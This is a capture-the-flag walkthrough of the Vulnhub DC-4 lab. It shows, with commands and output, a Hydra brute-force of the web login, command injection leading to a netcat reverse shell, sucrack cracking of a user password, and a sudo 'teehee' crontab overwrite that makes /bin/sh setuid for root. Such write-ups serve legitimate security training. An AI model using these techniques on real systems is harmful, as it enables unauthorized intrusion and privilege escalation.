Vulnhub: DC-4
Info
Name: DC-4
Operating System: Linux
Url: http://www.five86.com/dc-4.html
Release: 26 Mar 2019
Difficulty: Beginner/Intermediate
Description: DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Enumeration
As always, let's start with a nmap scan to see what we're up against.
nmap -sC -sV 192.168.1.146
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-09 18:42 CEST
Nmap scan report for 192.168.1.146
Host is up (0.000078s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
| 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_ 256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open http nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 00:0C:29:BF:BD:19 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Going to the web server we see the following:

After a bit of enumeration with GoBuster
and Nikto
I decided to try and bruteforce the login using Hydra
.
root@kali:~# hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/Common
Credentials/500-worst-passwords.txt 192.168.1.146 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-04-09 18:47:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 499 login tries (l:1/p:499), ~32 tries per task
[DATA] attacking http-post-form://192.168.1.146:80/login.php:username=^USER^&password=^PASS^:S=logout
[80][http-post-form] host: 192.168.1.146 login: admin password: happy
[STATUS] attack finished for 192.168.1.146 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-04-09 18:47:47
This was a bit of trial and error, using different wordlists and success strings.
The S
parameter specifies a string Hydra
should see if we successfully guess the correct password.
When we successfully login to a page, we usually have a way of logging out of the page, hence why we choose the string "logout".
When we login to the webpage we are presented with a link to command.php - a file I found when enumerating with GoBuster
earlier.
Visiting this page reveals we can use three different commands: ls -l
, du -h
and df -h
.

Using Burp Suite
as a proxy we can look at the request we are sending to the web server.

Initial Foothold
Looking at the request parameters, we definitely have a command injection
vulnerability here.
Using the radio parameter we can probably send our own commands to the server and get a reverse shell!

URL encoding key characters of the radio parameter before forwarding the request and starting a listener on our machine gives us an initial foothold!
root@kali:~# nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.142] from (UNKNOWN) [192.168.1.146] 43420
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Looking at /home/
we see three users: charles, jim and sam. I didn't find anything of interest in charles and sam's directories.
But looking at jim's we find a backup file with all of his old passwords... Well then.
www-data@dc-4:/home/jim/backups$ head old-passwords.bak
000000
12345
iloveyou
1q2w3e4r5t
1234
123456a
qwertyuiop
monkey
123321
dragon
Based on the really, really bad passwords he's using, we can assume he also reuse some of the passwords.
We can use sucrack
to bruteforce the password using the backup file as a password list!
We can download sucrack
here: http://www.leidecker.info/projects/sucrack.shtml
But we can't just compile it using only ./configure
and make
.
Since the machine is running a 32-bit operating system we need to specify we want to compile sucrack
as a 32-bit executable.
root@kali:/opt/sucrack-1.2.3# ./configure --build=i686-pc-linux-gnu "CFLAGS=-m32" "CXXFLAGS=-m32" "LDFLAGS=-m32"
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
[...]
root@kali:/opt/sucrack-1.2.3# make
make all-recursive
make[1]: Entering directory '/opt/sucrack-1.2.3'
Making all in src
make[2]: Entering directory '/opt/sucrack-1.2.3/src'
[...]
root@kali:/opt/sucrack-1.2.3# file src/sucrack
src/sucrack: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=dbb463e7663597b02985ee82ba42573b3e291afd, not stripped
Sweet! Now we can upload sucrack
to the server and start bruteforcing jim's password.
www-data@dc-4:/dev/shm$ ./sucrack -w 10 -u jim /home/jim/backups/old-passwords.bak
password is: jibril04
www-data@dc-4:/dev/shm$ su jim
Password:
jim@dc-4:/dev/shm$
Awesome! We have now escalated to jim!
Once again we look at jim's home directory and we see a file called mbox
.
jim@dc-4:~$ ls
backups mbox test.sh
jim@dc-4:~$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
(envelope-from <root@dc-4>)
id 1hCiQe-0000gc-EC
for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO
This is a test.
Seems like we have a mail server running? Let's check netstat
.
<DIGRESSION>
jim@dc-4:~$ netstat -tulpn
bash: netstat: command not found
So, netstat
is missing. Well, we don't need netstat
to check if something is listening on the server.
We can just ask /proc/net/tcp
nicely.
jim@dc-4:~$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 14687 1 f62f9740 100 0 0 10 20
1: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 13788 1 f62f8040 100 0 0 10 0
2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 14640 1 f62f8bc0 100 0 0 10 0
3: 9201A8C0:A99C 8E01A8C0:0539 01 00000000:00000000 00:00000000 00000000 33 0 15248 3 f62f9180 20 4 31 10 -1
Looking at the column for local_address
we can see that we have three services listening on the server (ignoring the last entry since that's our connection to the server).
I won't be decoding the ip addresses, since I know that 0x0100007F
== 127.0.0.1
and 0x00000000
== 0.0.0.0
.
We can however convert the ports:
jim@dc-4:~$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 14687 1 f62f9740 100 0 0 10 20
1: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 13788 1 f62f8040 100 0 0 10 0
2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 14640 1 f62f8bc0 100 0 0 10 0
3: 9201A8C0:A99C 8E01A8C0:0539 01 00000000:00000000 00:00000000 00000000 33 0 15248 3 f62f9180 20 4 31 10 -1
jim@dc-4:~$ echo $((16#0019))
25
jim@dc-4:~$ echo $((16#0050))
80
jim@dc-4:~$ echo $((16#0016))
22
So, we have the following ports open:
- 127.0.0.1:25
- 0.0.0.0:80
- 0.0.0.0:22
</DIGRESSION>
Puh, anyway, going on with the privesc we check /var/mail/jim
.
jim@dc-4:~$ cat /var/mail/jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
Sweet! We just got charles' password! Let's escalate once again!
jim@dc-4:~$ su charles
Password:
charles@dc-4:/home/jim$ whoami;id
charles
uid=1001(charles) gid=1001(charles) groups=1001(charles)
Poking around we find out that we can use sudo.
charles@dc-4:/home/jim$ sudo -l
Matching Defaults entries for charles on dc-4:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on dc-4:
(root) NOPASSWD: /usr/bin/teehee
So, what is the program teehee
?
charles@dc-4:/home/jim$ teehee --help
Usage: teehee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
[...]
Okay, so teehee
copies standard input to a file of our choosing? We should be able to get a root shell quite easily then.
What if we use teehee
and overwrite /etc/crontab
making /bin/sh
a setuid binary?
If /bin/sh
is symlinked to /bin/bash
this won't work though, since bash
automatically droppes setuid privileges. You know, for security reasons...
But checking the symlink we see that /bin/sh
is symlinked to dash
. Dash does not drop setuid privileges so we can exploit this to get a root shell!
charles@dc-4:/home/jim$ ls -la /bin/sh
lrwxrwxrwx 1 root root 4 Jan 24 2017 /bin/sh -> dash
Now we can overwrite /etc/crontab
, make dash
a setuid binary and finally get a root shell.
charles@dc-4:/home/jim$ sudo teehee /etc/crontab
* * * * * root chmod 4777 /bin/sh
* * * * * root chmod 4777 /bin/sh
^C
charles@dc-4:/home/jim$ ls -la /bin/dash
-rwsrwxrwx 1 root root 124492 Jan 24 2017 /bin/dash
charles@dc-4:/home/jim$ /bin/sh
# whoami;id
root
uid=1001(charles) gid=1001(charles) euid=0(root) groups=1001(charles)
And finally we can cat the flag!
# cat flag.txt
888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Congratulations!!!
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
Further Reading
https://labs.portcullis.co.uk/tools/sucrack/
https://unix.stackexchange.com/questions/74527/setuid-bit-seems-to-have-no-effect-on-bash
https://www.commandlinefu.com/commands/view/15313/check-open-ports-without-netstat-or-lsof
http://insidetrust.blogspot.com/2011/08/using-hydra-to-dictionary-attack-web.html